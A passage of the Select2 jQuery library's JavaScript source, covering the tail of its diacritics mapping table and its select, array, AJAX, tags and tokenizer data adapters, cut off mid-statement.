'\\u018C': 'd',\r\n    '\\u0256': 'd',\r\n    '\\u0257': 'd',\r\n    '\\uA77A': 'd',\r\n    '\\u01F3': 'dz',\r\n    '\\u01C6': 'dz',\r\n    '\\u24D4': 'e',\r\n    '\\uFF45': 'e',\r\n    '\\u00E8': 'e',\r\n    '\\u00E9': 'e',\r\n    '\\u00EA': 'e',\r\n    '\\u1EC1': 'e',\r\n    '\\u1EBF': 'e',\r\n    '\\u1EC5': 'e',\r\n    '\\u1EC3': 'e',\r\n    '\\u1EBD': 'e',\r\n    '\\u0113': 'e',\r\n    '\\u1E15': 'e',\r\n    '\\u1E17': 'e',\r\n    '\\u0115': 'e',\r\n    '\\u0117': 'e',\r\n    '\\u00EB': 'e',\r\n    '\\u1EBB': 'e',\r\n    '\\u011B': 'e',\r\n    '\\u0205': 'e',\r\n    '\\u0207': 'e',\r\n    '\\u1EB9': 'e',\r\n    '\\u1EC7': 'e',\r\n    '\\u0229': 'e',\r\n    '\\u1E1D': 'e',\r\n    '\\u0119': 'e',\r\n    '\\u1E19': 'e',\r\n    '\\u1E1B': 'e',\r\n    '\\u0247': 'e',\r\n    '\\u025B': 'e',\r\n    '\\u01DD': 'e',\r\n    '\\u24D5': 'f',\r\n    '\\uFF46': 'f',\r\n    '\\u1E1F': 'f',\r\n    '\\u0192': 'f',\r\n    '\\uA77C': 'f',\r\n    '\\u24D6': 'g',\r\n    '\\uFF47': 'g',\r\n    '\\u01F5': 'g',\r\n    '\\u011D': 'g',\r\n    '\\u1E21': 'g',\r\n    '\\u011F': 'g',\r\n    '\\u0121': 'g',\r\n    '\\u01E7': 'g',\r\n    '\\u0123': 'g',\r\n    '\\u01E5': 'g',\r\n    '\\u0260': 'g',\r\n    '\\uA7A1': 'g',\r\n    '\\u1D79': 'g',\r\n    '\\uA77F': 'g',\r\n    '\\u24D7': 'h',\r\n    '\\uFF48': 'h',\r\n    '\\u0125': 'h',\r\n    '\\u1E23': 'h',\r\n    '\\u1E27': 'h',\r\n    '\\u021F': 'h',\r\n    '\\u1E25': 'h',\r\n    '\\u1E29': 'h',\r\n    '\\u1E2B': 'h',\r\n    '\\u1E96': 'h',\r\n    '\\u0127': 'h',\r\n    '\\u2C68': 'h',\r\n    '\\u2C76': 'h',\r\n    '\\u0265': 'h',\r\n    '\\u0195': 'hv',\r\n    '\\u24D8': 'i',\r\n    '\\uFF49': 'i',\r\n    '\\u00EC': 'i',\r\n    '\\u00ED': 'i',\r\n    '\\u00EE': 'i',\r\n    '\\u0129': 'i',\r\n    '\\u012B': 'i',\r\n    '\\u012D': 'i',\r\n    '\\u00EF': 'i',\r\n    '\\u1E2F': 'i',\r\n    '\\u1EC9': 'i',\r\n    '\\u01D0': 'i',\r\n    '\\u0209': 'i',\r\n    '\\u020B': 'i',\r\n    '\\u1ECB': 'i',\r\n    '\\u012F': 'i',\r\n    '\\u1E2D': 'i',\r\n    '\\u0268': 'i',\r\n    '\\u0131': 'i',\r\n    '\\u24D9': 'j',\r\n    '\\uFF4A': 'j',\r\n    '\\u0135': 'j',\r\n    '\\u01F0': 'j',\r\n    '\\u0249': 'j',\r\n    '\\u24DA': 'k',\r\n    '\\uFF4B': 'k',\r\n    '\\u1E31': 'k',\r\n    '\\u01E9': 'k',\r\n    '\\u1E33': 'k',\r\n    '\\u0137': 'k',\r\n    '\\u1E35': 'k',\r\n    '\\u0199': 'k',\r\n    '\\u2C6A': 'k',\r\n    '\\uA741': 'k',\r\n    '\\uA743': 'k',\r\n    '\\uA745': 'k',\r\n    '\\uA7A3': 'k',\r\n    '\\u24DB': 'l',\r\n    '\\uFF4C': 'l',\r\n    '\\u0140': 'l',\r\n    '\\u013A': 'l',\r\n    '\\u013E': 'l',\r\n    '\\u1E37': 'l',\r\n    '\\u1E39': 'l',\r\n    '\\u013C': 'l',\r\n    '\\u1E3D': 'l',\r\n    '\\u1E3B': 'l',\r\n    '\\u017F': 'l',\r\n    '\\u0142': 'l',\r\n    '\\u019A': 'l',\r\n    '\\u026B': 'l',\r\n    '\\u2C61': 'l',\r\n    '\\uA749': 'l',\r\n    '\\uA781': 'l',\r\n    '\\uA747': 'l',\r\n    '\\u01C9': 'lj',\r\n    '\\u24DC': 'm',\r\n    '\\uFF4D': 'm',\r\n    '\\u1E3F': 'm',\r\n    '\\u1E41': 'm',\r\n    '\\u1E43': 'm',\r\n    '\\u0271': 'm',\r\n    '\\u026F': 'm',\r\n    '\\u24DD': 'n',\r\n    '\\uFF4E': 'n',\r\n    '\\u01F9': 'n',\r\n    '\\u0144': 'n',\r\n    '\\u00F1': 'n',\r\n    '\\u1E45': 'n',\r\n    '\\u0148': 'n',\r\n    '\\u1E47': 'n',\r\n    '\\u0146': 'n',\r\n    '\\u1E4B': 'n',\r\n    '\\u1E49': 'n',\r\n    '\\u019E': 'n',\r\n    '\\u0272': 'n',\r\n    '\\u0149': 'n',\r\n    '\\uA791': 'n',\r\n    '\\uA7A5': 'n',\r\n    '\\u01CC': 'nj',\r\n    '\\u24DE': 'o',\r\n    '\\uFF4F': 'o',\r\n    '\\u00F2': 'o',\r\n    '\\u00F3': 'o',\r\n    '\\u00F4': 'o',\r\n    '\\u1ED3': 'o',\r\n    '\\u1ED1': 'o',\r\n    '\\u1ED7': 'o',\r\n    '\\u1ED5': 'o',\r\n    '\\u00F5': 'o',\r\n    '\\u1E4D': 'o',\r\n    '\\u022D': 'o',\r\n    '\\u1E4F': 'o',\r\n    '\\u014D': 'o',\r\n    '\\u1E51': 'o',\r\n    '\\u1E53': 'o',\r\n    '\\u014F': 'o',\r\n    '\\u022F': 'o',\r\n    '\\u0231': 'o',\r\n    '\\u00F6': 'o',\r\n    '\\u022B': 'o',\r\n    '\\u1ECF': 'o',\r\n    '\\u0151': 'o',\r\n    '\\u01D2': 'o',\r\n    '\\u020D': 'o',\r\n    '\\u020F': 'o',\r\n    '\\u01A1': 'o',\r\n    '\\u1EDD': 'o',\r\n    '\\u1EDB': 'o',\r\n    '\\u1EE1': 'o',\r\n    '\\u1EDF': 'o',\r\n    '\\u1EE3': 'o',\r\n    '\\u1ECD': 'o',\r\n    '\\u1ED9': 'o',\r\n    '\\u01EB': 'o',\r\n    '\\u01ED': 'o',\r\n    '\\u00F8': 'o',\r\n    '\\u01FF': 'o',\r\n    '\\u0254': 'o',\r\n    '\\uA74B': 'o',\r\n    '\\uA74D': 'o',\r\n    '\\u0275': 'o',\r\n    '\\u01A3': 'oi',\r\n    '\\u0223': 'ou',\r\n    '\\uA74F': 'oo',\r\n    '\\u24DF': 'p',\r\n    '\\uFF50': 'p',\r\n    '\\u1E55': 'p',\r\n    '\\u1E57': 'p',\r\n    '\\u01A5': 'p',\r\n    '\\u1D7D': 'p',\r\n    '\\uA751': 'p',\r\n    '\\uA753': 'p',\r\n    '\\uA755': 'p',\r\n    '\\u24E0': 'q',\r\n    '\\uFF51': 'q',\r\n    '\\u024B': 'q',\r\n    '\\uA757': 'q',\r\n    '\\uA759': 'q',\r\n    '\\u24E1': 'r',\r\n    '\\uFF52': 'r',\r\n    '\\u0155': 'r',\r\n    '\\u1E59': 'r',\r\n    '\\u0159': 'r',\r\n    '\\u0211': 'r',\r\n    '\\u0213': 'r',\r\n    '\\u1E5B': 'r',\r\n    '\\u1E5D': 'r',\r\n    '\\u0157': 'r',\r\n    '\\u1E5F': 'r',\r\n    '\\u024D': 'r',\r\n    '\\u027D': 'r',\r\n    '\\uA75B': 'r',\r\n    '\\uA7A7': 'r',\r\n    '\\uA783': 'r',\r\n    '\\u24E2': 's',\r\n    '\\uFF53': 's',\r\n    '\\u00DF': 's',\r\n    '\\u015B': 's',\r\n    '\\u1E65': 's',\r\n    '\\u015D': 's',\r\n    '\\u1E61': 's',\r\n    '\\u0161': 's',\r\n    '\\u1E67': 's',\r\n    '\\u1E63': 's',\r\n    '\\u1E69': 's',\r\n    '\\u0219': 's',\r\n    '\\u015F': 's',\r\n    '\\u023F': 's',\r\n    '\\uA7A9': 's',\r\n    '\\uA785': 's',\r\n    '\\u1E9B': 's',\r\n    '\\u24E3': 't',\r\n    '\\uFF54': 't',\r\n    '\\u1E6B': 't',\r\n    '\\u1E97': 't',\r\n    '\\u0165': 't',\r\n    '\\u1E6D': 't',\r\n    '\\u021B': 't',\r\n    '\\u0163': 't',\r\n    '\\u1E71': 't',\r\n    '\\u1E6F': 't',\r\n    '\\u0167': 't',\r\n    '\\u01AD': 't',\r\n    '\\u0288': 't',\r\n    '\\u2C66': 't',\r\n    '\\uA787': 't',\r\n    '\\uA729': 'tz',\r\n    '\\u24E4': 'u',\r\n    '\\uFF55': 'u',\r\n    '\\u00F9': 'u',\r\n    '\\u00FA': 'u',\r\n    '\\u00FB': 'u',\r\n    '\\u0169': 'u',\r\n    '\\u1E79': 'u',\r\n    '\\u016B': 'u',\r\n    '\\u1E7B': 'u',\r\n    '\\u016D': 'u',\r\n    '\\u00FC': 'u',\r\n    '\\u01DC': 'u',\r\n    '\\u01D8': 'u',\r\n    '\\u01D6': 'u',\r\n    '\\u01DA': 'u',\r\n    '\\u1EE7': 'u',\r\n    '\\u016F': 'u',\r\n    '\\u0171': 'u',\r\n    '\\u01D4': 'u',\r\n    '\\u0215': 'u',\r\n    '\\u0217': 'u',\r\n    '\\u01B0': 'u',\r\n    '\\u1EEB': 'u',\r\n    '\\u1EE9': 'u',\r\n    '\\u1EEF': 'u',\r\n    '\\u1EED': 'u',\r\n    '\\u1EF1': 'u',\r\n    '\\u1EE5': 'u',\r\n    '\\u1E73': 'u',\r\n    '\\u0173': 'u',\r\n    '\\u1E77': 'u',\r\n    '\\u1E75': 'u',\r\n    '\\u0289': 'u',\r\n    '\\u24E5': 'v',\r\n    '\\uFF56': 'v',\r\n    '\\u1E7D': 'v',\r\n    '\\u1E7F': 'v',\r\n    '\\u028B': 'v',\r\n    '\\uA75F': 'v',\r\n    '\\u028C': 'v',\r\n    '\\uA761': 'vy',\r\n    '\\u24E6': 'w',\r\n    '\\uFF57': 'w',\r\n    '\\u1E81': 'w',\r\n    '\\u1E83': 'w',\r\n    '\\u0175': 'w',\r\n    '\\u1E87': 'w',\r\n    '\\u1E85': 'w',\r\n    '\\u1E98': 'w',\r\n    '\\u1E89': 'w',\r\n    '\\u2C73': 'w',\r\n    '\\u24E7': 'x',\r\n    '\\uFF58': 'x',\r\n    '\\u1E8B': 'x',\r\n    '\\u1E8D': 'x',\r\n    '\\u24E8': 'y',\r\n    '\\uFF59': 'y',\r\n    '\\u1EF3': 'y',\r\n    '\\u00FD': 'y',\r\n    '\\u0177': 'y',\r\n    '\\u1EF9': 'y',\r\n    '\\u0233': 'y',\r\n    '\\u1E8F': 'y',\r\n    '\\u00FF': 'y',\r\n    '\\u1EF7': 'y',\r\n    '\\u1E99': 'y',\r\n    '\\u1EF5': 'y',\r\n    '\\u01B4': 'y',\r\n    '\\u024F': 'y',\r\n    '\\u1EFF': 'y',\r\n    '\\u24E9': 'z',\r\n    '\\uFF5A': 'z',\r\n    '\\u017A': 'z',\r\n    '\\u1E91': 'z',\r\n    '\\u017C': 'z',\r\n    '\\u017E': 'z',\r\n    '\\u1E93': 'z',\r\n    '\\u1E95': 'z',\r\n    '\\u01B6': 'z',\r\n    '\\u0225': 'z',\r\n    '\\u0240': 'z',\r\n    '\\u2C6C': 'z',\r\n    '\\uA763': 'z',\r\n    '\\u0386': '\\u0391',\r\n    '\\u0388': '\\u0395',\r\n    '\\u0389': '\\u0397',\r\n    '\\u038A': '\\u0399',\r\n    '\\u03AA': '\\u0399',\r\n    '\\u038C': '\\u039F',\r\n    '\\u038E': '\\u03A5',\r\n    '\\u03AB': '\\u03A5',\r\n    '\\u038F': '\\u03A9',\r\n    '\\u03AC': '\\u03B1',\r\n    '\\u03AD': '\\u03B5',\r\n    '\\u03AE': '\\u03B7',\r\n    '\\u03AF': '\\u03B9',\r\n    '\\u03CA': '\\u03B9',\r\n    '\\u0390': '\\u03B9',\r\n    '\\u03CC': '\\u03BF',\r\n    '\\u03CD': '\\u03C5',\r\n    '\\u03CB': '\\u03C5',\r\n    '\\u03B0': '\\u03C5',\r\n    '\\u03C9': '\\u03C9',\r\n    '\\u03C2': '\\u03C3'\r\n  };\r\n\r\n  return diacritics;\r\n});\r\n\r\nS2.define('select2/data/base',[\r\n  '../utils'\r\n], function (Utils) {\r\n  function BaseAdapter ($element, options) {\r\n    BaseAdapter.__super__.constructor.call(this);\r\n  }\r\n\r\n  Utils.Extend(BaseAdapter, Utils.Observable);\r\n\r\n  BaseAdapter.prototype.current = function (callback) {\r\n    throw new Error('The `current` method must be defined in child classes.');\r\n  };\r\n\r\n  BaseAdapter.prototype.query = function (params, callback) {\r\n    throw new Error('The `query` method must be defined in child classes.');\r\n  };\r\n\r\n  BaseAdapter.prototype.bind = function (container, $container) {\r\n    // Can be implemented in subclasses\r\n  };\r\n\r\n  BaseAdapter.prototype.destroy = function () {\r\n    // Can be implemented in subclasses\r\n  };\r\n\r\n  BaseAdapter.prototype.generateResultId = function (container, data) {\r\n    var id = container.id + '-result-';\r\n\r\n    id += Utils.generateChars(4);\r\n\r\n    if (data.id != null) {\r\n      id += '-' + data.id.toString();\r\n    } else {\r\n      id += '-' + Utils.generateChars(4);\r\n    }\r\n    return id;\r\n  };\r\n\r\n  return BaseAdapter;\r\n});\r\n\r\nS2.define('select2/data/select',[\r\n  './base',\r\n  '../utils',\r\n  'jquery'\r\n], function (BaseAdapter, Utils, $) {\r\n  function SelectAdapter ($element, options) {\r\n    this.$element = $element;\r\n    this.options = options;\r\n\r\n    SelectAdapter.__super__.constructor.call(this);\r\n  }\r\n\r\n  Utils.Extend(SelectAdapter, BaseAdapter);\r\n\r\n  SelectAdapter.prototype.current = function (callback) {\r\n    var data = [];\r\n    var self = this;\r\n\r\n    this.$element.find(':selected').each(function () {\r\n      var $option = $(this);\r\n\r\n      var option = self.item($option);\r\n\r\n      data.push(option);\r\n    });\r\n\r\n    callback(data);\r\n  };\r\n\r\n  SelectAdapter.prototype.select = function (data) {\r\n    var self = this;\r\n\r\n    data.selected = true;\r\n\r\n    // If data.element is a DOM node, use it instead\r\n    if ($(data.element).is('option')) {\r\n      data.element.selected = true;\r\n\r\n      this.$element.trigger('change');\r\n\r\n      return;\r\n    }\r\n\r\n    if (this.$element.prop('multiple')) {\r\n      this.current(function (currentData) {\r\n        var val = [];\r\n\r\n        data = [data];\r\n        data.push.apply(data, currentData);\r\n\r\n        for (var d = 0; d < data.length; d++) {\r\n          var id = data[d].id;\r\n\r\n          if ($.inArray(id, val) === -1) {\r\n            val.push(id);\r\n          }\r\n        }\r\n\r\n        self.$element.val(val);\r\n        self.$element.trigger('change');\r\n      });\r\n    } else {\r\n      var val = data.id;\r\n\r\n      this.$element.val(val);\r\n      this.$element.trigger('change');\r\n    }\r\n  };\r\n\r\n  SelectAdapter.prototype.unselect = function (data) {\r\n    var self = this;\r\n\r\n    if (!this.$element.prop('multiple')) {\r\n      return;\r\n    }\r\n\r\n    data.selected = false;\r\n\r\n    if ($(data.element).is('option')) {\r\n      data.element.selected = false;\r\n\r\n      this.$element.trigger('change');\r\n\r\n      return;\r\n    }\r\n\r\n    this.current(function (currentData) {\r\n      var val = [];\r\n\r\n      for (var d = 0; d < currentData.length; d++) {\r\n        var id = currentData[d].id;\r\n\r\n        if (id !== data.id && $.inArray(id, val) === -1) {\r\n          val.push(id);\r\n        }\r\n      }\r\n\r\n      self.$element.val(val);\r\n\r\n      self.$element.trigger('change');\r\n    });\r\n  };\r\n\r\n  SelectAdapter.prototype.bind = function (container, $container) {\r\n    var self = this;\r\n\r\n    this.container = container;\r\n\r\n    container.on('select', function (params) {\r\n      self.select(params.data);\r\n    });\r\n\r\n    container.on('unselect', function (params) {\r\n      self.unselect(params.data);\r\n    });\r\n  };\r\n\r\n  SelectAdapter.prototype.destroy = function () {\r\n    // Remove anything added to child elements\r\n    this.$element.find('*').each(function () {\r\n      // Remove any custom data set by Select2\r\n      $.removeData(this, 'data');\r\n    });\r\n  };\r\n\r\n  SelectAdapter.prototype.query = function (params, callback) {\r\n    var data = [];\r\n    var self = this;\r\n\r\n    var $options = this.$element.children();\r\n\r\n    $options.each(function () {\r\n      var $option = $(this);\r\n\r\n      if (!$option.is('option') && !$option.is('optgroup')) {\r\n        return;\r\n      }\r\n\r\n      var option = self.item($option);\r\n\r\n      var matches = self.matches(params, option);\r\n\r\n      if (matches !== null) {\r\n        data.push(matches);\r\n      }\r\n    });\r\n\r\n    callback({\r\n      results: data\r\n    });\r\n  };\r\n\r\n  SelectAdapter.prototype.addOptions = function ($options) {\r\n    Utils.appendMany(this.$element, $options);\r\n  };\r\n\r\n  SelectAdapter.prototype.option = function (data) {\r\n    var option;\r\n\r\n    if (data.children) {\r\n      option = document.createElement('optgroup');\r\n      option.label = data.text;\r\n    } else {\r\n      option = document.createElement('option');\r\n\r\n      if (option.textContent !== undefined) {\r\n        option.textContent = data.text;\r\n      } else {\r\n        option.innerText = data.text;\r\n      }\r\n    }\r\n\r\n    if (data.id !== undefined) {\r\n      option.value = data.id;\r\n    }\r\n\r\n    if (data.disabled) {\r\n      option.disabled = true;\r\n    }\r\n\r\n    if (data.selected) {\r\n      option.selected = true;\r\n    }\r\n\r\n    if (data.title) {\r\n      option.title = data.title;\r\n    }\r\n\r\n    var $option = $(option);\r\n\r\n    var normalizedData = this._normalizeItem(data);\r\n    normalizedData.element = option;\r\n\r\n    // Override the option's data with the combined data\r\n    $.data(option, 'data', normalizedData);\r\n\r\n    return $option;\r\n  };\r\n\r\n  SelectAdapter.prototype.item = function ($option) {\r\n    var data = {};\r\n\r\n    data = $.data($option[0], 'data');\r\n\r\n    if (data != null) {\r\n      return data;\r\n    }\r\n\r\n    if ($option.is('option')) {\r\n      data = {\r\n        id: $option.val(),\r\n        text: $option.text(),\r\n        disabled: $option.prop('disabled'),\r\n        selected: $option.prop('selected'),\r\n        title: $option.prop('title')\r\n      };\r\n    } else if ($option.is('optgroup')) {\r\n      data = {\r\n        text: $option.prop('label'),\r\n        children: [],\r\n        title: $option.prop('title')\r\n      };\r\n\r\n      var $children = $option.children('option');\r\n      var children = [];\r\n\r\n      for (var c = 0; c < $children.length; c++) {\r\n        var $child = $($children[c]);\r\n\r\n        var child = this.item($child);\r\n\r\n        children.push(child);\r\n      }\r\n\r\n      data.children = children;\r\n    }\r\n\r\n    data = this._normalizeItem(data);\r\n    data.element = $option[0];\r\n\r\n    $.data($option[0], 'data', data);\r\n\r\n    return data;\r\n  };\r\n\r\n  SelectAdapter.prototype._normalizeItem = function (item) {\r\n    if (!$.isPlainObject(item)) {\r\n      item = {\r\n        id: item,\r\n        text: item\r\n      };\r\n    }\r\n\r\n    item = $.extend({}, {\r\n      text: ''\r\n    }, item);\r\n\r\n    var defaults = {\r\n      selected: false,\r\n      disabled: false\r\n    };\r\n\r\n    if (item.id != null) {\r\n      item.id = item.id.toString();\r\n    }\r\n\r\n    if (item.text != null) {\r\n      item.text = item.text.toString();\r\n    }\r\n\r\n    if (item._resultId == null && item.id && this.container != null) {\r\n      item._resultId = this.generateResultId(this.container, item);\r\n    }\r\n\r\n    return $.extend({}, defaults, item);\r\n  };\r\n\r\n  SelectAdapter.prototype.matches = function (params, data) {\r\n    var matcher = this.options.get('matcher');\r\n\r\n    return matcher(params, data);\r\n  };\r\n\r\n  return SelectAdapter;\r\n});\r\n\r\nS2.define('select2/data/array',[\r\n  './select',\r\n  '../utils',\r\n  'jquery'\r\n], function (SelectAdapter, Utils, $) {\r\n  function ArrayAdapter ($element, options) {\r\n    var data = options.get('data') || [];\r\n\r\n    ArrayAdapter.__super__.constructor.call(this, $element, options);\r\n\r\n    this.addOptions(this.convertToOptions(data));\r\n  }\r\n\r\n  Utils.Extend(ArrayAdapter, SelectAdapter);\r\n\r\n  ArrayAdapter.prototype.select = function (data) {\r\n    var $option = this.$element.find('option').filter(function (i, elm) {\r\n      return elm.value == data.id.toString();\r\n    });\r\n\r\n    if ($option.length === 0) {\r\n      $option = this.option(data);\r\n\r\n      this.addOptions($option);\r\n    }\r\n\r\n    ArrayAdapter.__super__.select.call(this, data);\r\n  };\r\n\r\n  ArrayAdapter.prototype.convertToOptions = function (data) {\r\n    var self = this;\r\n\r\n    var $existing = this.$element.find('option');\r\n    var existingIds = $existing.map(function () {\r\n      return self.item($(this)).id;\r\n    }).get();\r\n\r\n    var $options = [];\r\n\r\n    // Filter out all items except for the one passed in the argument\r\n    function onlyItem (item) {\r\n      return function () {\r\n        return $(this).val() == item.id;\r\n      };\r\n    }\r\n\r\n    for (var d = 0; d < data.length; d++) {\r\n      var item = this._normalizeItem(data[d]);\r\n\r\n      // Skip items which were pre-loaded, only merge the data\r\n      if ($.inArray(item.id, existingIds) >= 0) {\r\n        var $existingOption = $existing.filter(onlyItem(item));\r\n\r\n        var existingData = this.item($existingOption);\r\n        var newData = $.extend(true, {}, item, existingData);\r\n\r\n        var $newOption = this.option(newData);\r\n\r\n        $existingOption.replaceWith($newOption);\r\n\r\n        continue;\r\n      }\r\n\r\n      var $option = this.option(item);\r\n\r\n      if (item.children) {\r\n        var $children = this.convertToOptions(item.children);\r\n\r\n        Utils.appendMany($option, $children);\r\n      }\r\n\r\n      $options.push($option);\r\n    }\r\n\r\n    return $options;\r\n  };\r\n\r\n  return ArrayAdapter;\r\n});\r\n\r\nS2.define('select2/data/ajax',[\r\n  './array',\r\n  '../utils',\r\n  'jquery'\r\n], function (ArrayAdapter, Utils, $) {\r\n  function AjaxAdapter ($element, options) {\r\n    this.ajaxOptions = this._applyDefaults(options.get('ajax'));\r\n\r\n    if (this.ajaxOptions.processResults != null) {\r\n      this.processResults = this.ajaxOptions.processResults;\r\n    }\r\n\r\n    AjaxAdapter.__super__.constructor.call(this, $element, options);\r\n  }\r\n\r\n  Utils.Extend(AjaxAdapter, ArrayAdapter);\r\n\r\n  AjaxAdapter.prototype._applyDefaults = function (options) {\r\n    var defaults = {\r\n      data: function (params) {\r\n        return $.extend({}, params, {\r\n          q: params.term\r\n        });\r\n      },\r\n      transport: function (params, success, failure) {\r\n        var $request = $.ajax(params);\r\n\r\n        $request.then(success);\r\n        $request.fail(failure);\r\n\r\n        return $request;\r\n      }\r\n    };\r\n\r\n    return $.extend({}, defaults, options, true);\r\n  };\r\n\r\n  AjaxAdapter.prototype.processResults = function (results) {\r\n    return results;\r\n  };\r\n\r\n  AjaxAdapter.prototype.query = function (params, callback) {\r\n    var matches = [];\r\n    var self = this;\r\n\r\n    if (this._request != null) {\r\n      // JSONP requests cannot always be aborted\r\n      if ($.isFunction(this._request.abort)) {\r\n        this._request.abort();\r\n      }\r\n\r\n      this._request = null;\r\n    }\r\n\r\n    var options = $.extend({\r\n      type: 'GET'\r\n    }, this.ajaxOptions);\r\n\r\n    if (typeof options.url === 'function') {\r\n      options.url = options.url.call(this.$element, params);\r\n    }\r\n\r\n    if (typeof options.data === 'function') {\r\n      options.data = options.data.call(this.$element, params);\r\n    }\r\n\r\n    function request () {\r\n      var $request = options.transport(options, function (data) {\r\n        var results = self.processResults(data, params);\r\n\r\n        if (self.options.get('debug') && window.console && console.error) {\r\n          // Check to make sure that the response included a `results` key.\r\n          if (!results || !results.results || !$.isArray(results.results)) {\r\n            console.error(\r\n              'Select2: The AJAX results did not return an array in the ' +\r\n              '`results` key of the response.'\r\n            );\r\n          }\r\n        }\r\n\r\n        callback(results);\r\n      }, function () {\r\n        // Attempt to detect if a request was aborted\r\n        // Only works if the transport exposes a status property\r\n        if ($request.status && $request.status === '0') {\r\n          return;\r\n        }\r\n\r\n        self.trigger('results:message', {\r\n          message: 'errorLoading'\r\n        });\r\n      });\r\n\r\n      self._request = $request;\r\n    }\r\n\r\n    if (this.ajaxOptions.delay && params.term != null) {\r\n      if (this._queryTimeout) {\r\n        window.clearTimeout(this._queryTimeout);\r\n      }\r\n\r\n      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);\r\n    } else {\r\n      request();\r\n    }\r\n  };\r\n\r\n  return AjaxAdapter;\r\n});\r\n\r\nS2.define('select2/data/tags',[\r\n  'jquery'\r\n], function ($) {\r\n  function Tags (decorated, $element, options) {\r\n    var tags = options.get('tags');\r\n\r\n    var createTag = options.get('createTag');\r\n\r\n    if (createTag !== undefined) {\r\n      this.createTag = createTag;\r\n    }\r\n\r\n    var insertTag = options.get('insertTag');\r\n\r\n    if (insertTag !== undefined) {\r\n        this.insertTag = insertTag;\r\n    }\r\n\r\n    decorated.call(this, $element, options);\r\n\r\n    if ($.isArray(tags)) {\r\n      for (var t = 0; t < tags.length; t++) {\r\n        var tag = tags[t];\r\n        var item = this._normalizeItem(tag);\r\n\r\n        var $option = this.option(item);\r\n\r\n        this.$element.append($option);\r\n      }\r\n    }\r\n  }\r\n\r\n  Tags.prototype.query = function (decorated, params, callback) {\r\n    var self = this;\r\n\r\n    this._removeOldTags();\r\n\r\n    if (params.term == null || params.page != null) {\r\n      decorated.call(this, params, callback);\r\n      return;\r\n    }\r\n\r\n    function wrapper (obj, child) {\r\n      var data = obj.results;\r\n\r\n      for (var i = 0; i < data.length; i++) {\r\n        var option = data[i];\r\n\r\n        var checkChildren = (\r\n          option.children != null &&\r\n          !wrapper({\r\n            results: option.children\r\n          }, true)\r\n        );\r\n\r\n        var optionText = (option.text || '').toUpperCase();\r\n        var paramsTerm = (params.term || '').toUpperCase();\r\n\r\n        var checkText = optionText === paramsTerm;\r\n\r\n        if (checkText || checkChildren) {\r\n          if (child) {\r\n            return false;\r\n          }\r\n\r\n          obj.data = data;\r\n          callback(obj);\r\n\r\n          return;\r\n        }\r\n      }\r\n\r\n      if (child) {\r\n        return true;\r\n      }\r\n\r\n      var tag = self.createTag(params);\r\n\r\n      if (tag != null) {\r\n        var $option = self.option(tag);\r\n        $option.attr('data-select2-tag', true);\r\n\r\n        self.addOptions([$option]);\r\n\r\n        self.insertTag(data, tag);\r\n      }\r\n\r\n      obj.results = data;\r\n\r\n      callback(obj);\r\n    }\r\n\r\n    decorated.call(this, params, wrapper);\r\n  };\r\n\r\n  Tags.prototype.createTag = function (decorated, params) {\r\n    var term = $.trim(params.term);\r\n\r\n    if (term === '') {\r\n      return null;\r\n    }\r\n\r\n    return {\r\n      id: term,\r\n      text: term\r\n    };\r\n  };\r\n\r\n  Tags.prototype.insertTag = function (_, data, tag) {\r\n    data.unshift(tag);\r\n  };\r\n\r\n  Tags.prototype._removeOldTags = function (_) {\r\n    var tag = this._lastTag;\r\n\r\n    var $options = this.$element.find('option[data-select2-tag]');\r\n\r\n    $options.each(function () {\r\n      if (this.selected) {\r\n        return;\r\n      }\r\n\r\n      $(this).remove();\r\n    });\r\n  };\r\n\r\n  return Tags;\r\n});\r\n\r\nS2.define('select2/data/tokenizer',[\r\n  'jquery'\r\n], function ($) {\r\n  function Tokenizer (decorated, $element, options) {\r\n    var tokenizer = options.get('tokenizer');\r\n\r\n    if (tokenizer !== undefined) {\r\n      this.tokenizer = tokenizer;\r\n    }\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  Tokenizer.prototype.bind = function (decorated, container, $container) {\r\n    decorated.call(this, container, $container);\r\n\r\n    this.$search =  container.dropdown.$search || container.selection.$search ||\r\n      $container.find('.select2-search__field');\r\n  };\r\n\r\n  Tokenizer.prototype.query = function (decorated, params, callback) {\r\n    var self = this;\r\n\r\n    function createAndSelect (data) {\r\n      // Normalize the data object so we can use it for checks\r\n      var item = self._normalizeItem(data);\r\n\r\n      // Check if the data object already exists as a tag\r\n      // Select it if it doesn't\r\n      var $existingOptions = self.$element.find('option').filter(function () {\r\n        return $(this).val() === item.id;\r\n      });\r\n\r\n      // If an existing option wasn't found for it, create the option\r\n      if (!$existingOptions.length) {\r\n        var $option = self.option(item);\r\n        $option.attr('data-select2-tag', true);\r\n\r\n        self._removeOldTags();\r\n        self.addOptions([$option]);\r\n      }\r\n\r\n      // Select the item, now that we know there is an option for it\r\n      select(item);\r\n    }\r\n\r\n    function select (data) {\r\n      self.trigger('select', {\r\n        data: data\r\n      });\r\n    }\r\n\r\n    params.term = params.term || '';\r\n\r\n    var tokenData = this.tokenizer(params, this.options, createAndSelect);\r\n\r\n    if (tokenData.term !== params.term) {\r\n      // Replace the search term if we have the search box\r\n      if (this.$search.length) {\r\n        this.$search.val(tokenData.term);\r\n        this.$search.focus();\r\n      }\r\n\r\n      params.term = tokenData.term;\r\n    }\r\n\r\n    decorated.call(this, params, callback);\r\n  };\r\n\r\n  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {\r\n    var separators = options.get('tokenSeparators') || [];\r\n    var term = params.term;\r\n    var i = 0;\r\n\r\n    var createTag = this.createTag || function (params) {\r\n      return {\r\n        id: params.term,\r\n        text: params.term\r\n      };\r\n    };\r\n\r\n    while (i < term.length) {\r\n      var termChar = term[i];\r\n\r\n      if ($.inArray(termChar, separators) === -1) {\r\n        i++;\r\n\r\n        continue;\r\n      }\r\n\r\n      var part = term.substr(0, i);\r\n      var partParams = $.extend({}, params, {\r\n        term: part\r\n      });\r\n\r\n      var data = createTag(partParams);\r\n\r\n      if (data == null) {\r\n        i++;\r\n        continue;\r\n      }\r\n\r\n      callback(data);\r\n\r\n      // Reset the term to not include the tokenized portion\r\n      term = term.substr(i + 1) || '';\r\n      i = 0;\r\n    }\r\n\r\n    return {\r\n      term: term\r\n    };\r\n  };\r\n\r\n  return Tokenizer;\r\n});\r\n\r\nS2.define('select2/data/minimumInputLength',[\r\n\r\n], function () {\r\n  function MinimumInputLength (decorated, $e, options) {\r\n    this.minimumInputLength = options.get('minimumInputLength');\r\n\r\n    decorated.call(this, $e, options);\r\n  }\r\n\r\n  MinimumInputLength.prototype.query = function (decorated, params, callback) {\r\n    params.term = params.term || 